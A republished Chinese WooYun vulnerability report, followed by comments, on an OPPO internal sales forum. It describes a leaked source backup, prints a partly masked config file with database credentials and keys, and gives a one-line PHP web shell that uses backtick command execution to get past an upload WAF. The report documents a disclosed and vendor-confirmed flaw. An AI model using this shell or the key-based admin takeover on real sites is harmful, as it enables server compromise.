oppo某内部论坛从代码泄露到shell

2017年4月19日19:06:07评论690 views字数 219阅读0分43秒阅读模式

摘要

2016-04-06：细节已通知厂商并且等待厂商处理中
2016-04-07：厂商已经确认，细节仅向厂商公开
2016-04-17：细节向核心白帽子及相关领域专家公开
2016-04-27：细节向普通白帽子公开
2016-05-07：细节向实习白帽子公开
2016-05-22：细节向公众公开

漏洞概要关注数(39) 关注此漏洞

缺陷编号： WooYun-2016-193302

漏洞标题： oppo某内部论坛从代码泄露到shell

漏洞作者： kobin97

提交时间： 2016-04-06 22:22

公开时间： 2016-05-22 18:20

漏洞类型：敏感信息泄露

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：敏感信息泄露

4人收藏

漏洞详情

披露状态：

简要描述：

oppo某内部论坛从代码泄露到shell
话说那个拦上传的waf十分变态，差点就没计可思了。。

详细说明：

目标：oppo全国销售精英大联盟

http://221.4.136.214/

存在源代码泄露

http://221.4.136.214/backup.zip

code 区域

<?php 
 define('UC_DBHOST', 'localhost');
 define('UC_DBUSER', 'oppofo*****');
 define('UC_DBPW', 'eka60*****');
 define('UC_DBNAME', 'oppof*****');
 define('UC_DBCHARSET', 'utf8');
 define('UC_DBTABLEPRE', 'pre_ucenter_');
 define('UC_COOKIEPATH', '/');
 define('UC_COOKIEDOMAIN', '');
 define('UC_DBCONNECT', 0);
 define('UC_CHARSET', 'utf-8');
 define('UC_FOUNDERPW', '2140dabb047e63*****');
 define('UC_FOUNDERSALT', 'Cdj9ic');
 define('UC_KEY', 'Bdu9BcXbu29er4c737v8b05a*****8');
 define('UC_SITEID', 'Nda9Xcobo2vet4Z7x7Q8q0Hac1Q43bf4*****');
 define('UC_MYKEY', 'TdO9Rcnb82SeN4r7i738X0vaI1n4rbC4t*****');
 define('UC_DEBUG', false);
 define('UC_PPP', 20);

泄露数据库和UC_KEY等信息。

通过UC_KEY进入后台。

在后台拿shell过程中，发现上传php代码都给拦截了。。

这waf很变态，好像还能检查语法。

各种变态的php一句话马都测试无效。

各种换行呀，

变态函数都不行

后来发现

code 区域

<?php $a=$_POST[exp];echo `$a#`;

居然可以，waf误认为 #为注释，就这样过了waf。

漏洞证明：

shell在内网。

修复方案：

没有深入，漏洞自行修补！

版权声明：转载请注明来源 kobin97@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2016-04-07 18:12

厂商回复：

年久失修的系统，感谢漏洞提供

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-04-06 22:55 | mango ( 核心白帽子 | Rank:2185 漏洞数:309 | 解决问题的第一步，是要承认问题的存在。)

1

沙发~~一哥~

1# 回复此人
2016-04-07 08:12 | 沦沦 ( 普通白帽子 | Rank:651 漏洞数:149 | 爱老婆，爱生活|脚步不能停要一直向前走【...)

1

@mango 一哥小号？

2# 回复此人
2016-04-07 18:11 | 广东欧珀移动通讯有限公司(乌云厂商)

1

年久失修的系统，感谢漏洞提供

3# 回复此人
2016-04-07 20:16 | 包包 ( 实习白帽子 | Rank:77 漏洞数:17 | 我是菜鸟，我怕谁？小弟新来，望大牛多多包...)

1

@广东欧珀移动通讯有限公司这几天也在挖你的漏洞的，然后发现有很多系统都访问不了，不知道为啥。。。

4# 回复此人
2016-05-22 18:37 | 老实先生 ( 普通白帽子 | Rank:228 漏洞数:18 | 专业承揽工程刮大白，外墙涂料，外墙保温，...)

0

@包包让你扫描器给扫挂了吧！

5# 回复此人
2016-05-23 09:30 | 杨某某 ( 普通白帽子 | Rank:116 漏洞数:29 | 魂之挽歌)

0

想问下如何通过UC_KEY进后台

6# 回复此人
2016-05-25 07:42 | 汤姆克鲁蛋 ( 路人 | Rank:6 漏洞数:4 | 技术不怎么样，但推荐的歌不错。《Ta main...)

0

请问洞主这句不全吧？<?php $a=$_POST[exp];echo `$a#`; 完整的是怎么写的？exp你post的是啥？

7# 回复此人
2016-05-25 08:38 | 包包 ( 实习白帽子 | Rank:77 漏洞数:17 | 我是菜鸟，我怕谁？小弟新来，望大牛多多包...)

1

@汤姆克鲁蛋他这post的exp，然后exp就是windows命令啊，使用反引号执行命令然后echo出来啊。

8# 回复此人
2016-05-25 08:49 | 汤姆克鲁蛋 ( 路人 | Rank:6 漏洞数:4 | 技术不怎么样，但推荐的歌不错。《Ta main...)

0

@包包谢谢，但是我测试，post提交exp=whoami等命令，没任何显示，咋回事呢？

9# 回复此人

漏洞概要 关注数(39) 关注此漏洞